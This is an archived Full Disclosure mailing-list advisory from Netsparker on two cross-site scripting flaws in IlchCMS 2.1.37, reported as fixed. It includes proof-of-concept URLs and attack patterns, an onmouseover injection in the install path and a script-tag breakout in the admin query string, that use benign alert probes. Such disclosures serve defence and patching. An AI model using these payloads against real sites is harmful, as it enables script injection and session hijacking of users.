[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Cross-Site Scripting Vulnerabilities in IlchCMS 2.1.37
From:       Daniel Bishtawi via Fulldisclosure <fulldisclosure () seclists ! org>
Date:       2020-09-10 10:06:11
Message-ID: CAKD6+R5r_fb5PU1YUm7v-KMOXdyc14zf1zWU7KQWdbwacMe_OQ () mail ! gmail ! com
[Download RAW message or body]

Hello,

We are informing you about Cross-Site Scripting Vulnerabilities in IlchCMS
2.1.37.

Information
--------------------

Advisory by Netsparker
Name: Cross-Site Scripting in IlchCMS
Affected Software: IlchCMS
Affected Versions: 2.1.37
Vendor Homepage: https://www.ilch.de/
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Netsparker Advisory Reference: NS-20-003

Technical Details
--------------------

Cross-site Scripting in Install Page

URL:
http://localhost:8001/ilch/index.php/install/index/indexx%22%20onmouseover=alert(0x003370)%20x=%22
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003370)+x%3d%22

Cross-site Scripting in Admin Panel

URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

Notes: For successful exploitation, payload may need to be sent without URL
encoding. Modern browsers will encode the HTML tags in the request before
it is being sent to the webserver, however it is still possible in Internet
Explorer.
Proof URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>alert(0x0096E8)</scRipt>

Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

For more information:
https://www.netsparker.com/web-applications-advisories/ns-20-003-cross-site-scripting-in-ilchcms/

Regards,

[image: upload image]
Daniel Bishtawi | Marketing Administrator
E: daniel@netsparker.com <daniel@netsparker.com>

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]